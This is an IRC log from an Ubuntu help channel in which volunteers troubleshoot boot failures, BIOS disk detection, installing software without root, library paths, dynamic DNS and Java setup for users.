[12:11] <ActionParsnip> as well as from
[12:11] <soundray> !info linuxdcpp | Starchaser
[12:11] <soundray> Starchaser: it's in universe ^^
[12:12] <ActionParsnip> hardcore: envyng is great but you must rerun it after upgrading your kernel
[12:12] <hardcore> oh shit, something happening, thanks a lot :D
[12:12] <ioops> hi all
[12:12] <hardcore> no swearing yeye
[12:12] <Pirate_Hunter> how can i speed up internet browsing "i heard opendns might do it"?
[12:12] <kindofabuzz> opendns will help
[12:12] <hardcore> this ubuntu seems real nice but just takes some time
[12:13] <ActionParsnip> hardcore: sweet, yeah if you upgrade your kerenl you'll need to swap the driver to the failsafe so you can get a gui to rerun envyng
[12:13] <rampageoberon> Pirate_Hunter: all opendns will do is point you to the right place
[12:13] <ActionParsnip> hardcore: you have a lot to learn but its fun
[12:13] <Pirate_Hunter> rampageoberon: ok so what can i use to speed up my internet?
[12:13] <rampageoberon> Pirate_Hunter: to speed it up you need to get a faster line on both ends (more likely your end)
[12:13] <ioops> I have a problem with the latest version 8,04, after booting I have the prompt (initramfs) It s my first time I saw this prompt I don t understand why it s coming now. The boot before was realy goot and I was unsing ubuntu.
[12:13] <MarcoZ> Done
[12:13] <hardcore> i love how everything here is opensource+legal
[12:13] <MarcoZ> thanks for your help guys :D
[12:13] <ninuuz> hi
[12:13] <rampageoberon> Pirate_Hunter: there is no real way to speed up the connection otherwise
[12:13] <ioops> I try to look on forum but sevral things and I am a bit lost
[12:13] <ioops> about my problem
[12:14] <ninuuz> how do i set no sound on a game if i run it from console/terminal?
[12:14] <ActionParsnip> hardcore: not all is, crossover office, cedega and nvidia official drivers arent
[12:14] <ioops> somebody can bring me their help please ? it would be very nice
[12:14] <ActionParsnip> !ask | loops
[12:14] <Oli``> I'm trying to copy the contents of a dir to another keeping permissions (recursive). I don't want to copy the actual dir. I'm trying rsync but it doesn't grab the hidden files when I specify the origin path as /path/*
[12:14] <soundray> ioops: do you see any error message except the initramfs prompt?
[12:14] <hardcore> oh ok, well anyway, time to reboot, thank you... this propably gets easier when i get decent resolution, 640x480 is killing me
[12:15] <ActionParsnip> Oli``: co /path/to/folder /pathe/to/detination
[12:15] <ioops> sound yes, a lot of error mounting messge like /proc /sys or /root failed mount
[12:15] <ioops> soundray: yes
[12:16] <soundray> ioops: what was the last thing you did before it stopped working?
[12:16] <ActionParsnip> Oli``: http://ubuntuforums.org/archive/index.php/t-592788.html
[12:16] <ioops> humm I think I configure the os only for plugins stuff
[12:17] <concave> is there a way to install .debs into my home directory as a non-root user?
[12:17] <xkpe> i configured static ip, but my dns keeps changing after awhile no matter how many times i change it, what can be changing my dns?
[12:17] <klezala> uh yes
[12:17] <soundray> Oli``: give rsync the source as /path/ instead of /path/* and adapt the target
[12:17] <ActionParsnip> concave: only root or sudo can install
[12:17] <ioops> soundray: yes it s this right, but before I upgrade the ubuntu and the kernel changed
[12:18] <concave> ActionParsnip, off the top of my head, i'm wondering how .deb files are packaged.  would there be any potential in extracting them into my home directory?
[12:18] <Starchaser> soundray: thnx
[12:18] <concave> (although that would negate dependency handling, but oh well)
[12:18] <ActionParsnip> concave: if you run groups in terminal you will see what groups you belong to, if you are in Admin then you can sudo / gksu stuff
[12:18] <soundray> ioops: can you boot the old kernel? It should still be on the grub menu.  You may have to hit Esc to see the grub menu during boot.
[12:18] <Rioting_pacifist> ive removed a swap partion from /etc/fstabs but cryptsetup keeps looking for it
[12:18] <ActionParsnip> concave: you can extract them, yes
[12:19] <concave> ActionParsnip, would i find that in the man page for dpkg or apt-get or ...?
[12:19] <ioops> soundray: good question I did check
[12:19] <ioops> I diidn t check
[12:19] <ActionParsnip> concave: ar vx /path/to/file.deb
[12:20] <Pirate_Hunter> rampageoberon: np
[12:20] <soundray> ioops: if you do that, and it boots the old kernel, try 'sudo apt-get -f install' to see if this ties up any loose ends from the update.
[12:20] <concave> awesome!  thanks ActionParsnip.  i forgot all about ar.
[12:20] <ActionParsnip> concave: or use ark /path/to/file.deb
[12:20] <ioops> soundray: ok I will do it
[12:21] <concave> what's the general opinion on setting LD_LIBRARY_PATH, assuming local paths are set _last_ (and "standard" paths are set first)?
[12:21] <ActionParsnip> concave: no idea, sorry
[12:22] <ioops> soundray: normaly ubuntu don t remove the old kernel after upgrade ?
[12:22] <concave> (or does LD_LIBRARY_PATH only affect additional places to look for libs?  i.e., standard paths are checked first, and then afterwards, whatever is placed in LD_LIBRARY_PATH)
[12:22] <pajamian> concave: standard paths are checked first, LD_LIBRARY_PATH is for additional places
[12:22] <soundray> concave: I've had to do it occasionally. By default, it's unset in ubuntu
[12:23] <pajamian> concave: I take it back, actually LD_LIBRARY_PATH is checked first, I think
[12:23] <ouaibe_> stupid autoconnect...
[12:23] <soundray> ioops: that's right, it keeps them around to help with precisely the kind of problem you are experiencing.
[12:23] <iix> how do i add a program to start up as service ?
[12:23] <ioops> soundray: ok
[12:23] <ioops> Iwill try your solution
[12:23] <soundray> ioops: it only installs the new kernel and adapts the menu.lst so the new one will be booted.
[12:24] <kmg> I can't boot regularly or into recovery with any of the many kernels I have: my usplash segfaults with an "error 6."  anything I can do about this?
[12:24] <hkBst> did alpah 5 get released?
[12:24] <KoolD> how to restart a service??
[12:24] <pajamian> iix: if you want to start it as a service you need an init.d file for it, if you just want to start it when you log into gnome you goto System / Preferences / Sessions
[12:24] <soundray> iix: you write a SysV init style script. There is a template in /etc/init.d/skeleton. 'man update-rc.d' to learn how to activate it.
[12:25] <concave> ah ha http://unixhelp.ed.ac.uk/CGI/man-cgi?ld.so+8; you're right pajamian
[12:25] <pajamian> KoolD: sudo /etc/init.d/servicename restart
[12:25] <soundray> !intrepid | hkBst
[12:25] <ioops> soundray: it will be possible to replace the new by the old iin the menu that s right ?
[12:25] <iix> thanks.
[12:25] <KoolD> pajamian: thanks
[12:25] <pajamian> concave: it works that way so you can use non-standard locations for libraries and override specific libraries for specific programs.
[12:26] <soundray> ioops: yes, but for now you should just try to boot the old one by selecting it once.
[12:26] <kmg> I can't boot regularly or into recovery with any of the many kernels I have: my usplash segfaults with an "error 6."  anything I can do about this?
[12:26] <concave> yeah, i was confused at first because i thought that LD_PRELOAD would be searched first, then "standard" locations, then LD_LIBRARY_PATH
[12:26] <hkBst> thanks soundray
[12:26] <pajamian> concave: I'm not sure what LD_PRELOAD is to be honest.
[12:27] <ioops> soundray: ok I will try and I say later because the computer is not in the same building
[12:27] <concave> pajamian, you can override shared libraries by setting it.
[12:27] <ActionParsnip> kmg: uninstall bootsplash in any boot you can get
[12:27] <soundray> kmg: your usplash segfaults? Are you sure?
[12:27] <concave> i think that LD_PRELOAD only applies to shared libs, and LD_LIBRARY_PATH applies to all libs?
[12:27] <ActionParsnip> kmg: you may need to boot to live cd to edit the files that kick it up
[12:27] <Rioting_pacifist> ive removed a swap partion from /etc/fstabs but cryptsetup keeps looking for it
[12:28] <pajamian> concave: at any rate, I've used LD_LIBRARY_PATH when I needed to compile a program from source and needed newer versions of libs than what comes with ubuntu.
[12:28] <kmg> ActionParsnip: that's what I was afraid of.
[12:28] <kmg> soundray: yeah, it says usplash is segfaulting
[12:28] <ActionParsnip> kmg: it may be the case if you cant get any sort of boot then youll have to carve it out then remove it
[12:29] <ActionParsnip> Rioting_pacifist: http://linux.die.net/man/8/cryptsetup
[12:29] <soundray> kmg: perhaps you can hit E in the grub menu to edit the boot entry, then edit the kernel line to remove 'quiet splash'
[12:29] <kmg> ActionParsnip: if I just uninstall the splash, then it will do a regular boot?
[12:29] <ActionParsnip> kmg: should do
[12:29] <kmg> soundray: i'll try that
[12:29] <concave> the problem i've run into, and i don't think i'm the first, is that when compiling vim as a regular user, i'm getting an error during ./configure regarding having no terminal library installed (like ncurses).  so it looks like i can either install ncurses-dev, or build it from source.  either way, since i'm a non-root user, i'm going to have to point to the right library during vim's ./configure.
[12:30] <pajamian> concave: why not just install all the build dependancies for vim from apt?
[12:30] <pajamian> concave: sudo apt-get build-dep vim
[12:30] <Kartagis> hi again
[12:30] <iturk> hi there friends I am having problems trying to access a share drive mounted has vfat on fstab! Can someone have a look at this - http://pastebin.com/d47c77cd2
[12:31] <concave> i'm not a sudoer :-/
[12:31] <pajamian> concave: ahhh, I see
[12:31] <concave> but i didn't know there was a build-dep option. that's kinda cool!
[12:32] <pajamian> concave: and hence you can't install vim from apt either.
[12:32] <concave> bingo
[12:32] <Pirate_Hunter> is it possible to have to firewalls runing without a problem i.e. firehol and ufw?
[12:32] <soundray> concave: Ubuntu is difficult for development if you aren't in the admin group
[12:32] <pajamian> concave: good luck, sounds like you're being forced to do a lot of work for nothing.
[12:32] <concave> pajamian, yeah, i'm going to end up having to contact the sysadmin... *grumble*
[12:32] <soundray> concave: can't you download and unpack a vim .deb and try to run the binary directly?
[12:33] <concave> soundray, other than what i've run into, what are some other reasons for this?
[12:33] <pajamian> soundray: that's a good idea
[12:33] <Dranik> which repositories should I use to get the latest KDE 4.1.1 ?
[12:33] <concave> soundray, i'm not sure what you mean.  do you mean extract the .deb and run vim, or is there some way to "run" a deb file like a binary?
[12:34] <concave> (i never got totally up to snuff with apt and .debs)
[12:34] <soundray> concave: I mean unpack the deb archive in your home, then run '$HOME/unpackdir/bin/vim' or similar
[12:35] <concave> that's what i'm going to try right now.  that's a good idea
[12:35] <pajamian> concave: don't be surprised if it doesn't work, but it is a good idea
[12:35] <hardcore> oh nice, now i got better resolution :P
[12:35] <soundray> concave: library support is the main trouble; also the six-monthly updates -- as a user you're bitten if the sysadmin upgrades and you're bitten when she does ;)
[12:36] <soundray> *doesn't
[12:36] <hardcore> but then let's talk about more... do i need 3rd party firewall/antivirus since running OS without em drives me paranoid :D
[12:36] <ActionParsnip> hardcore: cool, as i said. you will need to run that every time you get  a new kernel
[12:36] <ActionParsnip> hardcore: and put your driver to the failsafe before you reboot to the new kernel so you can rerun the app
[12:37] <hardcore> uhm, how do i know when i reboot into new kernel? :D
[12:37] <hardcore> is it when some update comes or?
[12:37] <soundray> ActionParsnip: what do you mean exactly -- switch the driver with displayconfig-gtk?
[12:37] <concave> indeed, this plan was too cunning to work!
[12:38] <hardcore> actionparsnip is kinda lonely, you should get more staff here to help people :D
[12:38] <ActionParsnip> soundray: edit xorg.conf so the driver is nv and not nvidia
[12:38] <pajamian> concave: lack of dependancies
[12:38] <soundray> hardcore: there is no staff here
[12:38] <Kartagis> is 1 gb swap sufficient or 1gb RAM?
[12:38] <kyo> 有人能够帮助我安装讯雷吗 ？
[12:38] <magnetron> hardcore, none in here is staff, everyone is volunteering
[12:38] <hardcore> oh ok
[12:38] <ActionParsnip> hardcore: all users, just like you
[12:38] <hateball> !chinese | kyo
[12:38] <ActionParsnip> hardcore: just helping where we can
[12:38] <hardcore> well thats great, hope you dont rip your hairs off...
[12:39] <pajamian> concave: if it were me I'd just wait and ask the sysadmin
[12:39] <hateball> So what is a tool to monitor disk i/o in realtime?
[12:39] <hardcore> ok so well now few questions: Do i need 3rd party firewall/antivirus and how i can choose irc-server which is not on that list
[12:39] <kmg> do i need a livecd in to run chkdsk?
[12:39] <ActionParsnip> hateball: http://www.ubuntugeek.com/monitor-your-ubuntu-system-with-saidar.html
[12:40] <concave> pajamian, there's a chance i picked up the wrong package, too. i extracted the .deb and ended up with data.tar.gz, control.tar.gz, and debian-binary.  in data.tar.gz, i found a basic heirarchy, including usr/bin/vim.basic (although that's too minimal, so yeargh, probably wrong package).  apparently i'm missing libgpm...  sysadmin it is, then!
[12:40] <soundray> kmg: there is no chkdsk -- do you mean fsck?
[12:40] <ActionParsnip> kmg: you can chkdsk any umounted volume freely, you can do it on mounted partitions but its not advised
[12:40] <jrib> concave: if you can't use the deb, why aren't you just grabbing a tar.gz?
[12:40] <hateball> ActionParsnip: Looks neat, thanks :)
[12:40] <pajamian> concave: if you have another box you may be able to compile it with static linking
[12:41] <digin4> chkdsk is for windows 8|
[12:41] <concave> !!! that's a great idea pajamian !
[12:41] <kmg> ActionParsnip: but I suppose I can't do it from the grub command line =P
[12:41] <concave> lolz: there's a package called "vim-full" that i totally missed.  also, i didn't know i could grab a tar file for it.
[12:41] <ActionParsnip> kmg: id do it from livecd. theres a way to shutdown and make it do it next boot before loading the os
[12:42] <kmg> ActionParsnip: yeah, but I can't even boot.  I think I've tracked my problem down to some kind of filesystem corruption.  I managed to remove splash from the boot command, and now I see that it's hanging at trying to load the ext3-fs
[12:43] <kmg> and now my processor is overheating =P
[12:43] <ActionParsnip> kmg: id get in livecd town and check it out
[12:43] <kmg> yeah
[12:44] <kmg> gotta see if I have any lying about
[12:44] <ActionParsnip> kmg: you could always download a gentoo minimal for 80mb and use that
[12:44] <concave> i'm feeling more lazy than impatient, so i'll just contact the sysadmin and wait for a while instead of pursuing this any further.  thanks for your help guys!
[12:44] <prodigel> Hi all. Probably you've heard this hundred of times till now: How can I install google chrome on ubuntu? Tried using wine, still if running wine chrome_installer.exe I get no feed back, just de prompter back
[12:45] <jrib> prodigel: you can't yet
[12:45] <Pici> prodigel: You can't until Google releases a Linux binary.
[12:45] <kmg> prodigel: they haven't released the linux version yet.
[12:45] <prodigel> jrib, still some people said it's done'able
[12:45] <jrib> prodigel: then ask *them*
[12:45] <kmg> ActionParsnip: i'd love to, but i'm on my eee pc right now which doesn't have a burner
[12:45] <prodigel> no one tried it?
[12:46] <kmg> prodigel: it's on webkit anyway, who needs it.
[12:46] <Pici> prodigel: No, we've all tried it. Not even the source they provide compiles into a useable form.
[12:46] <kindofabuzz> prodigel, http://www.myscienceisbetter.info/2008/09/install-google-chrome-on-linux-using-wine.html
[12:46] <jrib> kmg: well that's not nice :)
[12:46] <kindofabuzz> ran like crap on mine
[12:46] <ActionParsnip> kmg: make a bootable usb key ;)
[12:46] <pajamian> prodigel: some people have had luck with wine
[12:46] <jrib> prodigel: i've tried it in a windows virtual machine, heh
[12:46] <hardcore> uhm, how can i connect into some server that is not on this irc-client's list of servers?
[12:46] <kmg> jrib: i've been in web development a long time, i've got a right to complain about webkit
[12:46] <hardcore> xchat gnome
[12:47] <ActionParsnip> hardcore: add your own
[12:47] <kindofabuzz> hardcore, add it
[12:47] <up_the_irons> I tried upgrading a Xen VM of dapper to hardy.  Things went well until new packages started getting installed.  I got seg faults everywhere. The VM became unusable.  I mounted it on the Dom0 and untar'd my base install image onto it;  it boots up now and is usable, but dpkg / apt-get, naturally, are complaining about broken package this, broken package that... any suggestions on how to proceed?
[12:47] <kmg> ActionParsnip: friend stole my last one!
[12:47] <hardcore> hmm, i dont see "Add server" anywhere
[12:47] <ActionParsnip> kmg: theyre cheap o buy one ;)
[12:48] <hardcore> oh now i found
[12:48] <kmg> ActionParsnip: i could, but i wanna fix it RIGHT NOW ! =P
[12:48] <kindofabuzz> hardcore, Xchat > network list
[12:48] <kindofabuzz> hardcore, ctrl S
[12:48] <ActionParsnip> kmg: well you need some form of bootable media
[12:48] <Kartagis> is 1 gb swap sufficient or 1gb RAM?
[12:49] <kmg> ActionParsnip: i've got a bunch of unlabeled disks, and I know several of them are livecds
[12:49] <kindofabuzz> if all you do is browse and check email and basic stuff yeah
[12:49] <kmg> so i'm going through the stack
[12:49] <pajamian> Kartagis: 2gb is recommended but you would be fine with 1
[12:49] <Dawson> Hey all, I am installing ubuntu on another machine and I am getting to the 'Detect Disk' stage and it keeps saying It cannot detect the disk even though its very much present
[12:49] <Dawson> is there any solution to this, as it doesnt have drivers as such
[12:50] <bringatowel> Dawson, have you checked to make sure the drive appears in the BIOS?
[12:50] <Dawson> yep
[12:50] <Dawson> i even tried installing windows and that had no problem finding the drive
[12:50] <Kartagis> okay thanks pajamian. one more question. is it possible to remove tcl without removing xchat?
[12:50] <Dawson> its defintely there and working, brand new
[12:50] <Pirate_Hunter> how can i clear my terminal buffer of all commands i have done so far?
[12:51] <pajamian> Kartagis: why would you want to?
[12:51] <bringatowel> Dawson, so probably what is happening is that there is no working driver for your IDE card, start by doing a search for your motherboard model or IDE card (if its seperate)
[12:51] <seekingtruth> hello sinners
[12:51] <Kartagis> pajamian> I want to install newer TCL
[12:51] <pajamian> Kartagis: just install it, then, don't remove the old
[12:51] <bazhang> !hi | seekingtruth
[12:51] <Kartagis> Pirate_Hunter> rm ~/.bash_history
[12:52] <Dawson> bringatowel, I have searched for the mobo drivers but they are all windows! pah! and the hard disk brings up no driver results
[12:52] <bringatowel> Dawson, what you might have to do is download a driver for it, and then load that during the install. what motherboard do you have?
[12:52] <pajamian> Kartagis: what is your reason for wanting a newer tcl?
[12:52] <Kartagis> ok pajamian
[12:52] <Kartagis> pajamian> for eggdrop
[12:52] <bringatowel> Dawson, it's not the hard drive that needs drivers, it is just the motherboard/IDE controller
[12:52] <pajamian> Kartagis: does eggdrop actualyl require it?
[12:52] <Kartagis> pajamian> TCL? yes
[12:53] <pajamian> Kartagis: a newer tcl than ubuntu already has
[12:53] <jrib> Kartagis: eggdrop is in the repositories
[12:53] <Dawson> bringatowel, ohh really, that makes sense, the company only provide windows drivers though it seems
[12:53] <bringatowel> Dawson, try searching on the name of the motherboard + ubuntu or linux, also if you can figure out what IDE controller is integrated, you can search on that
[12:53] <Kartagis> pajamian> yes
[12:53] <bringatowel> Dawson, usually you can find someone else who has tried to install linux on the same hardware, and there might be a community written driver, or perhaps a driver for a similar controller card that will work. do you what know what the make and model of your motherboard are?
[12:54] <Dawson> bringatowel, k9agm3
[12:54] <pajamian> Kartagis: you can either install eggdrop from the ubuntu repositores or if you want to compile your own, then compile your own tcl and install it in it's own location under /usr/local, use the --prefix= configure directive
[12:54] <Dawson> bringatowel,  understand what your saying, I am trying to find now. its a MSI otherboard
[12:55] <coozier> I wanted to ask an ot question here on the basis that it was answered last time for me and I've forgotten the answer now. When I use firefox with Adblock and Noscript it stops googlereader working correctly, but there is asimple fix which someone was good enough to tell me last time I was here. I'm really hoping the same person is around which is a big ask because it was awhile ago but here goes!
[12:55] <kyo> 中国
[12:55] <bazhang> !cn | kyo
[12:55] <soundray> kmg: the eeepc will boot from a USB CD-ROM
[12:55] <Kartagis> pajamian> I did compile my own tcl but eggdrop still finds the old one
[12:55] <bringatowel> Dawson, what kind of hard drive is it, IDE or SATA?
[12:55] <Dawson> its an IDE drive
[12:56] <jrib> coozier: you should grep the logs if no one can help now
[12:56] <pajamian> bringatowel: use LD_LIBRARY_PATH to point eggdrop to the new one.
[12:56] <jrib> !logs | coozier
[12:56] <pajamian> Kartagis:  use LD_LIBRARY_PATH to point eggdrop to the new one.
[12:56] <pajamian> bringatowel: that was meant for soemone else, sorry
[12:56] <ActionParsnip> Dawson: they're all ide, you mean pata (just nit picking)
[12:56] <bringatowel> lol
[12:56] <ActionParsnip> Dawson: is the pata controller enabled??
[12:56] <coozier> jrib thanks didn't know about that reference
[12:57] <ActionParsnip> Dawson: in bios
[12:57] <Kartagis> pajamian> LD_LIBRARY_PATH=/path/to/tcl/lib make?
[12:57] <Dawson> ActionPArsnip: lol im checking now
[12:57] <seekingtruth> !hi | bazhang
[12:57] <ActionParsnip> Dawson: yeah if its disabled in bios you wont see devices attatched to it
[12:57] <pajamian> Kartagis:  /path/to/tcl/lddirectory
[12:57] <ActionParsnip> Dawson: you could also try loading bios defaults
[12:58] <ActionParsnip> Dawson: is iy a new motherboard?
[12:58] <ActionParsnip> *it
[12:58] <Dawson> yep new today
[12:58] <ActionParsnip> Dawson: could be faulty
[12:58] <Kartagis> pajamian> lddirectory meaning?
[12:58] <ActionParsnip> Dawson: DOA
[12:58] <pajamian> Kartagis: one sec ...
[12:59] <ActionParsnip> Dawson: not a bad lil board
[12:59] <ActionParsnip> Dawson: for the price
[12:59] <bringatowel> ActionParsnip, he says he tested it in windows
[13:00] <Dawson> yes its all tested and working you see
[13:00] <Dawson> its not to bad, just budget to run ubuntu server
[13:00] <indian_munnda> can anyone tell me that is it possible to do port forwarding on dynamic IP?
[13:00] <ActionParsnip> Dawson: ahh, i missed that bit
[13:00] <ActionParsnip> Dawson: then its the best ;)
[13:00] <ActionParsnip> indian_munnda: absolutely
[13:01] <indian_munnda> ActionParsnip: can you plz explain
[13:01] <ActionParsnip> indian_munnda: id register with no-ip.com and get your system resolving to a name and refresh the ip for that name very hour
[13:01] <needhelp> Hello... I have captured some videos from a DV webcam to DV type 2 using the kino program. I then converted to DVD files with .mpg extension (resolution: 720*576). And finally created a DVD using DeVeDe. Now when I put the disc on the DVD player on the PC, everything looks fine. But when I put the disc in the DVD player in the livingroom, the very left and right sides of the video are vertically cut off. Any idea?
[13:01] <kindofabuzz> dynadns
[13:01] <ActionParsnip> indian_munnda: the port forwarding is done in your route
[13:01] <ActionParsnip> r
[13:01] <kindofabuzz> linksys routers support dynadns
[13:01] <kindofabuzz> internally
[13:02] <ActionParsnip> ooh i gots a linksys but am using no-ip
[13:02] <ykphuah> needhelp: 720*576 doesn't look like widescreen to me.
[13:02] <needhelp> ykphuah: it isn't widescreen (16:9)
[13:03] <wangor> hello, sorry I try to get tomcat5.5 running on ubuntu, but it doesn't work. Each time i get /etc/init.d/tomcat5.5 start it tells me it is starting [ OK ] but in fact nothing happens, I can type [...] start many times, efect is always the same, any ideas ?
[13:03] <needhelp> ykphuah: the left and right sides are still cut off
[13:03] <indian_munnda> ActionParsnip: ok i m registering at no-ip.com
[13:04] <ykphuah> wangor: look at what the /etc/init.d/tomcat5.5 does and try to start it manually first.
[13:04] <ActionParsnip> indian_munnda: then get the duc client and apply your account to it, it will refresh the ip in their dns so you will have the right ip
[13:04] <ActionParsnip> kindofabuzz: my linksys does not say anything about dynadns
[13:04] <rozyo> i have issues to webcam. is anyone available to talk to me, and givesome advice?
[13:04] <ykphuah> needhelp: try making it widescreen, and have the top and bottom blacked out.
[13:05] <rozyo> with webcam
[13:05] <jevangelo> hey, is ubuntu keeping up with clamav?
[13:05] <kindofabuzz> ActionParsnip, hmm maybe it's only the dd-wrt firmware, i thought all linksys supported it though
[13:05] <needhelp> needhelp: how should I make it widescreen ?
[13:05] <ActionParsnip> rozyo: what webcam you got?
[13:05] <ActionParsnip> kindofabuzz: its not in my stock WRT54GL 
[13:05] <jevangelo> the clamav package that ubuntu installs is too old to get updates from clamav
[13:05] <ykphuah> needhelp: how did you convert into mpg?
[13:06] <Dawson> 2secs guys
[13:06] <ActionParsnip> ykphuah: from what?
[13:06] <Dawson> my monitors gone funny:D
[13:06] <needhelp> needhelp: If i make the DVD files (.mpg) widescreen, it will look quite funny when the image is being stretched
[13:06] <kindofabuzz> ActionParsnip, what firmware you got ?
[13:06] <dVs--> I cant sem to find a way uninstall Frostwire .. can anyone help ?
[13:06] <needhelp> needhelp: I did use a video editing tool to convert from DV type 2 (.dv) to DVD files (.mpg)
[13:06] <ActionParsnip> kindofabuzz: 4.30.11. works fine
[13:07] <ykphuah> needhelp: I have never encoded a dvd before, but as I know, all DVDs are in widescreen format, that's why the top/bottom is blacked on a 4:3 screen.
[13:07] <jrib> dVs--: system -> administration -> synaptic
[13:07] <dVs--> apt-rem doesnt work neither does aptitude-remove
[13:07] <kindofabuzz> ActionParsnip, it's only the WRT54G that supports it
[13:07] <dVs--> nope its not in synaptic
[13:07] <jrib> dVs--: well how did you install it?
[13:07] <Dawson> actionparsnip: did you say pata?
[13:07] <pajamian> Kartagis: find the .pc file and point PKG_CONFIG_PATH to that directory
[13:07] <dVs--> i clicked on the .deb and a little packedge installer did it
[13:07] <Dawson> actionparsnip: in bios, where would that even be under, i have never heard of that
[13:07] <bringatowel> ykphuah, not all dvds are widescreen, also there are varying aspect ratios
[13:07] <ActionParsnip> Dawson: yes, pata is the ribbon cable, sata is a thinner one (usually orange)
[13:07] <seekingtruth> hello sinners
[13:08] <dVs--> not add remove or synaptic
[13:08] <seekingtruth> !hi | biella
[13:08] <bazhang> !ot > seekingtruth
[13:08] <Dawson> actionparsnip: what setting am i look for in bios exactly?
[13:08] <ActionParsnip> Dawson: its what people call IDE, when all hard drives are IDE
[13:08] <jrib> dVs--: then it should be in synaptic.  What does this return: apt-cache policy frostwire
[13:08] <Dawson> aaah i see
[13:08] <biella> hu
[13:08] <seekingtruth> bazhang: :)
[13:08] <biella> hi
[13:08] <biella> i mean
[13:08] <bringatowel> ActionParsnip, yeah the names are really funny now though, MSI's site calls it IDE :P
[13:09] <Kartagis> pajamian> what about the LD_LIBRARY_PATH?
[13:09] <ActionParsnip> Dawson: it varys wildly from bios to bios. It may be in integrated peripherals but it might be worded different
[13:09] <krazy-h> Salut les amis
[13:09] <bazhang> !fr | krazy-h
[13:09] <Pie-rate> i have an ir remote that i use to control my computer volume by running amixer, but the problem is it doesn't show the volume display thing in the middle of the screen
[13:09] <ActionParsnip> Dawson: there is not concrete answer, you may have to rtfm
[13:09] <Pie-rate> is there a command that will?
[13:09] <dVs--> frostwire:
[13:09] <dVs--> Installed: 4.17.0
[13:09] <dVs--> Candidate: 4.17.0
[13:09] <dVs--> Version table:
[13:09] <dVs--> *** 4.17.0 0
[13:09] <dVs--> 100 /var/lib/dpkg/status
[13:09] <FloodBot2> dVs--: Please don't flood, use http://paste.ubuntu.com to paste, don't use Enter as punctuation.
[13:09] <ioops> soundray: I try to boot on a old kernel it s not possible
[13:09] <Dawson> humm
[13:09] <Dawson> something wasd diabled
[13:09] <Dawson> IDE Bus
[13:09] <jrib> dVs--: what does 'sudo apt-get remove frostwire' return?
[13:09] <dVs--> whooops
[13:09] <indian_munnda> ActionParsnip: i have registered to no-ip.com, now plz tell me how to do port forwarding using it?
[13:10] <Pirate_Hunter> indian_munnda: why would you need to register to portforward when their is a guide for portforwarding on portforward.com
[13:10] <dVs--> jrib thankx man .. that seemed to do it
[13:11] <Dawson> ActionParsnip,Bringatowel: I enabled PCI IDE BusMaster
[13:11] <ActionParsnip> indian_munnda: thats in your router, there is no black and white answer to how to set it up. id grab the user manual for your router
[13:11] <Dawson> for now it doesnt find anything?
[13:11] <Dawson> *but now
[13:11] <ActionParsnip> Dawson: anything about PATA or onboard IDE setup?
[13:12] <bringatowel> Dawson, im not sure if that will make any difference, maybe try resetting the defaults?
[13:12] <shingen> is it common for intel wireless cards to crash, or  + vpnc or + cisco vpn client to crash a laptop?  This is the second laptop I've had that crashes with an intel wireless 2200bg card
[13:12] <olmari> HEllo
[13:12] <Dawson> nothing as far as i can see
[13:12] <indian_munnda> ActionParsnip: that i'll do in router but it is demanding source and destination ip. And i don't know that
[13:12] <bringatowel> Dawson, can you find the link for that motherboard on MSI's site?
[13:12] <olmari> Anyone around that would know how to get data from serial port to act like it's coming from keyboard?
[13:13] <Dawson> okay i have reset defaults
[13:13] <Dawson> yes i have it
[13:13] <indian_munnda> ActionParsnip: i kow my dynamic ip and the ip provided to my lan card.
[13:13] <Dawson> http://global.msi.com.tw/index.php?func=proddesc&maincat_no=1&prod_no=1240
[13:13] <ActionParsnip> well the source ip will be your wan ip and it wont be asking that, it will ask the PORT, you set the port number you want to forward, then the ip and port of the system to forward to
[13:13] <magnetron> olmari, investigate "serial TTY"
[13:13] <ioops> soundray: I boot on a live cd and chroot my /
[13:13] <ioops> and try to make apt-get -f install and nothing append
[13:14] <olmari> magnetron: I'll look that :)
[13:14] <ActionParsnip> indian_munnda: id set the system you are forwarding to to use static ip to save confusion
[13:14] <indian_munnda> ActionParsnip: ok, but my wan ip keeps changing
[13:16] <Dawson> bringatowel: http://global.msi.com.tw/index.php?func=proddesc&maincat_no=1&prod_no=1240
[13:16] <ActionParsnip> indian_munnda: yes thats why you have the no-ip account
[13:16] <ioops> ok, i m so lost it will by so nice if somebody could help me please
[13:16] <olmari> magnetron: Hmm... Trying to figure out this... Too much info still =)
[13:16] <kindofabuzz> indian_munnda, dyndns.com
[13:17] <shingen> sorry to repeat, but... is it common for intel wireless cards to crash, or  + vpnc or + cisco vpn client to crash a laptop?  This is the second laptop I've had that crashes with an intel wireless 2200bg card
[13:17] <kindofabuzz> or is no-ip the same?
[13:17] <dVs--> i just reinstalled frostwire and it still wont start for me
[13:17] <olmari> shingen: Well I have 2100 on my laptop and I don't see it crashing
[13:17] <jrib> dVs--: pastebin the error you get from 'frostwire' in a shell
[13:17] <shingen> no-ip & dyndns is almost the same, both provide Dynamic DNS services
[13:17] <shingen> olmari: but that's not a 2200 is it? :)
[13:18] <kindofabuzz> dVs--, do you have sun java installed or just openjdk? frostwire will not run with openjdk
[13:18] <olmari> shingen: nope, but you asked about intel cards ;)
[13:18] <dVs--> ok let me try installing java
[13:18] <amenado> whose familiar with creating udev rules? can you assist me with it? do you know if it can use same info as lshal does? my rules seem to not make a difference
[13:19] <kindofabuzz> dVs--, you said reinstalled, did it work before?
[13:19] <bring2towels> Dawson, where does the hard drive show up in the "Standard CMOS Features" screen?
[13:19] <dVs--> nope
[13:20] <Dawson> bring2towels: primary ide master; and then primary ide slave is the dvd drive
[13:20] <kindofabuzz> dVs--, yeah then installing sun's java you should be good
[13:20] <dVs--> i just tried to do it from a term like jrib suggested and got an error about java so i am trying to install th sun ver
[13:20] <olmari> magnetron: hmm found "catty" that sounds promising
[13:21] <kindofabuzz> dVs--, sudo aptitude install sun-java6-jre
[13:21] <dVs--> thankx guys .. was in here for hours yesterday and no one would respond ..
[13:21] <bring2towels> Dawson, hmm that should be fine, maybe check the boot sequence in the Advanced Bios Features?
[13:21] <Dawson> would the boot sequence have an effect then? I am booting the cd drive first to get to the install loaded
[13:23] <Dawson> beautiful!
[13:23] <Dawson> that bus thing
[13:23] <Dawson> seems to work now!!!
[13:23] <Dawson> thank you guys!!
[13:23] <bring2towels> Dawson, woohoo!
[13:23] <Dawson> hahaha! yeah man, im so happy
[13:23] <Dawson> been bugging me
[13:23] <Dawson> i have another 16 of these mahcines 2 make today with same spec
[13:23] <olmari> magnetron: It's some C++ proggie... But I'm still wondering could there be some one liner or so to redirect serial port into 'keyboard' type data input
